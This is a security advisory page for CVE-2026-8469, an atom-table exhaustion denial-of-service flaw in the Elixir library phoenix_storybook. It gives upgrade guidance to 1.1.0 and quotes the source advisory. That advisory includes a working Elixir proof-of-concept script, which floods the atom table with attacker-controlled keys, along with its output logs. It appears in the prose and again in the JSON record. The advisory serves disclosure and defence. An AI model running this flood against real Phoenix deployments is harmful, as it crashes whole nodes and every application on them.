CVE-2026-8469: PhoenixStorybook Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-833p-95jq-929q
CWE-770
Published
Advisory Summary

CVE-2026-8469 is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting PhoenixStorybook libraries in the Hex ecosystem. The issue involves unbounded atom creation from liveview event params (atom-table dos). Remediation is available by upgrading affected packages to version 1.1.0.

CVE-2026-8469 at a Glance

CVE Identifier CVE-2026-8469
GHSA Identifier GHSA-833p-95jq-929q
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product PhoenixStorybook
Package Ecosystem Hex
Published Date
Last Updated

How to Fix CVE-2026-8469

To remediate this vulnerability, upgrade all affected PhoenixStorybook dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phoenix_storybook fixed: 1.1.0
Upgrade phoenix_storybook to 1.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phoenix_storybook

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-8469, inspect your project dependencies for PhoenixStorybook:

inspect dependencies for phoenix_storybook

Analyze the terminal output to locate any version of PhoenixStorybook in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In PhoenixStorybook, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route. Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395 ### Details `PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist: - `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key. - `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `"attr"` value supplied by the client. - `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `"variation_id"`. - `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`. The existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts. The fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there. ### PoC The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`. Each simulated request is a params map with 5,000 unique keys of the form `"psb_evil_<nonce>_<r>_<i>"`. Because the helper does `for {key, value} <- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM. The script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event. The full script is attached below under "Scripts and Logs". ### Impact Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production. ## Scripts and Logs ```elixir # Verifies: Unbounded atom creation from LiveView event params (atom-table DoS) # # Run with: # elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs # # Threat model: an outside attacker who can deliver `psb-assign` events to a # mounted storybook view supplies attacker-controlled param maps. The library's # public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` # is the documented entry point that LiveView event handlers feed those params # into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The # helper interns every key of `params` with `String.to_atom/1`, so unique # attacker strings each create a permanent atom. Mix.install([{:phoenix_storybook, "1.0.0"}]) alias PhoenixStorybook.ExtraAssignsHelpers alias PhoenixStorybook.Stories.Variation defmodule FakeStory do def attributes, do: [] def variations, do: [%Variation{id: :default, attributes: %{}}] end extra_assigns = %{{:single, :default} => %{}} # Each request from the attacker is one params map. Use 5_000 unique attribute # names per request, across 5 requests = 25_000 distinct atoms permanently # leaked. (Kept modest so the script finishes quickly; raise to crash the VM.) nonce = System.unique_integer([:positive]) requests = 5 attrs_per_request = 5_000 before_count = :erlang.system_info(:atom_count) for r <- 1..requests do attacker_params = for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do {"psb_evil_#{nonce}_#{r}_#{i}", "x"} end ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory) end after_count = :erlang.system_info(:atom_count) delta = after_count - before_count IO.puts("atom_count before: #{before_count}") IO.puts("atom_count after: #{after_count}") IO.puts("delta: #{delta}") IO.puts("atom_limit: #{:erlang.system_info(:atom_limit)}") expected = requests * attrs_per_request if delta >= expected do IO.puts( "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM." ) else IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})") end ``` ### Logs ```logs atom_count before: 26341 atom_count after: 51361 delta: 25020 atom_limit: 1048576 VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM. ```

CVE-2026-8469 Affected PhoenixStorybook Versions

1 component(s)
Fixed Versions:
1.1.0
Product / Package Ecosystem Affected Versions Fixed Version
phoenix_storybook
Hex
≥ 0.2.0
< 1.1.0
1.1.0

References

Frequently Asked Questions

What is CVE-2026-8469?
CVE-2026-8469 is a security vulnerability in PhoenixStorybook involving Unbounded atom creation from LiveView event params (atom-table DoS) under CWE-770: Allocation of Resources Without Limits or Throttling.
Which PhoenixStorybook versions are affected?
Affected versions include releases prior to 1.1.0 across affected packages: phoenix_storybook.
What version fixes CVE-2026-8469?
Upgrading to 1.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phoenix_storybook affected?
Yes, phoenix_storybook is affected in releases prior to 1.1.0. Upgrade your dependency to 1.1.0 or later.
What CWE is associated with CVE-2026-8469?
CVE-2026-8469 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Hex dependencies for CVE-2026-8469?
Run the dependency tree command: 'inspect dependencies for phoenix_storybook'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-833p-95jq-929q",
  "modified" : "2026-06-09T21:59:07Z",
  "published" : "2026-06-09T21:59:07Z",
  "aliases" : [ "CVE-2026-8469" ],
  "summary" : "PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)",
  "details" : "### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_<nonce>_<r>_<i>\"`. Because the helper does `for {key, value} <- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library's\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} => %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r <- 1..requests do\n  attacker_params =\n    for i <- 1..attrs_per_request, into: %{\"variation_id\" => \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta >= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "phoenix_storybook"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.2.0"
      }, {
        "fixed" : "1.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-8469"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-8469.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phenixdigital/phoenix_storybook"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-09T21:59:07Z",
    "nvd_published_at" : "2026-05-20T14:17:04Z"
  }
}